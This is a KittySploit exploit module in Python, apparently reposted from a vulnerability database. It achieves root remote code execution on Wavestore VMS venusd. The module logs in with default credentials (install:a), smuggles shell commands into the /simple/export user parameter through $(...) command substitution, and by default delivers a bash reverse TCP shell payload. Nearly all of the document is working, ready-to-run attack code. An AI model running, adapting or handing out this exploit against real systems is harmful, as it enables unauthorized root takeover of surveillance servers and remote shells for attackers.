Wavestore VMS venusd /simple/export command injection RCE
"""Wavestore VMS venusd /simple/export command injection (root)."""
from __future__ import annotations
import base64
import re
import socket
import ssl
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {'name': 'Wavestore VMS venusd /simple/export command injection RCE', 'description': 'Authenticated venusd /simple/export user=install$(cmd) runs as root via command substitution (default creds install:a on port 8443 plain HTTP).', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['wavestore', 'rce', 'authenticated', 'venusd'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/wavestore_simple_export_root_rce_detect']}}}
port = OptPort(8443, 'venusd HTTP port (often 8443, plain HTTP)', required=True)
ssl = OptBool(False, 'Use TLS for venusd (PoC uses plain HTTP on 8443)', required=False)
venus_user = OptString('install', 'venusd Basic auth user', required=False)
venus_pass = OptString('a', 'venusd Basic auth password', required=False)
def _http_raw_get(self, host: str, port: int, path: str, auth_header: str, use_tls: bool=False, timeout: int=15) -> bytes:
sock = socket.create_connection((host, port), timeout=timeout)
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
req = f'GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\nAuthorization: {auth_header}\r\nConnection: close\r\nUser-Agent: kitty-wavestore/1.0\r\n\r\n'
sock.sendall(req.encode('latin-1'))
chunks = []
try:
while True:
data = sock.recv(4096)
if not data:
break
chunks.append(data)
except socket.timeout:
pass
sock.close()
return b''.join(chunks)
def _build_export_path(self, cmd: str) -> str:
cmd_encoded = cmd.replace(' ', '+').replace('>', '%3E').replace('<', '%3C').replace(';', '%3B').replace('&', '%26').replace('|', '%7C').replace('`', '%60').replace('$', '%24')
return '/simple/export?user=install%24(' + cmd_encoded + ')'
def _auth_header(self) -> str:
user = str(self.venus_user or 'install')
passwd = str(self.venus_pass or 'a')
token = base64.b64encode(f'{user}:{passwd}'.encode()).decode()
return 'Basic ' + token
def _host(self) -> str:
return str(getattr(self, 'target', None) or getattr(self, 'rhost', None) or '').strip()
def execute(self, cmd: str) -> str:
host = self._host()
if not host:
return 'no target host'
port = int(self.port or 8443)
path = self._build_export_path(cmd)
try:
resp = self._http_raw_get(host, port, path, self._auth_header(), use_tls=bool(self.ssl))
except OSError as exc:
return f'connection failed: {exc}'
if not resp:
return 'empty response'
status_line = resp.split(b'\r\n', 1)[0].decode('latin-1', 'replace')
if '401' in status_line:
return '401 Unauthorized — check venusd credentials'
return f'venusd injection sent ({status_line}); command may be blind'
def check(self):
host = self._host()
if not host:
return {'vulnerable': False, 'reason': 'No target', 'confidence': 'low'}
port = int(self.port or 8443)
try:
resp = self._http_raw_get(host, port, '/simple/export', self._auth_header(), use_tls=bool(self.ssl), timeout=8)
line = resp.split(b'\r\n', 1)[0].decode('latin-1', 'replace') if resp else ''
if '401' in line:
return {'vulnerable': True, 'reason': 'venusd reachable but credentials rejected', 'confidence': 'medium'}
if resp:
return {'vulnerable': True, 'reason': 'venusd /simple/export responded', 'confidence': 'medium'}
except OSError:
pass
return {'vulnerable': False, 'reason': 'venusd not reachable on configured port', 'confidence': 'low'}
def run(self):
shell = self.shell_from_payload()
if not shell:
print_error('Set payload')
return False
chk = self.check()
if not chk.get('vulnerable'):
print_error(chk.get('reason', 'Target not ready'))
self.not_vulnerable()
return False
print_status('venusd /simple/export command substitution')
msg = self.execute(shell)
print_info(msg)
if '401' in msg:
print_error('Authentication failed')
self.not_vulnerable()
return False
blind = bool(re.search('reverse|bash|/dev/tcp|nc ', shell, re.I))
self.vulnerable()
if blind or 'injection sent' in msg:
print_warning('Output is not echoed in HTTP response; verify out-of-band or use reverse payload')
if str(self.shell_from_payload() or '').strip():
return True
return True
return True
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27 Oct 2026 13:35Current
6.1Medium risk
Vulners AI Score6.1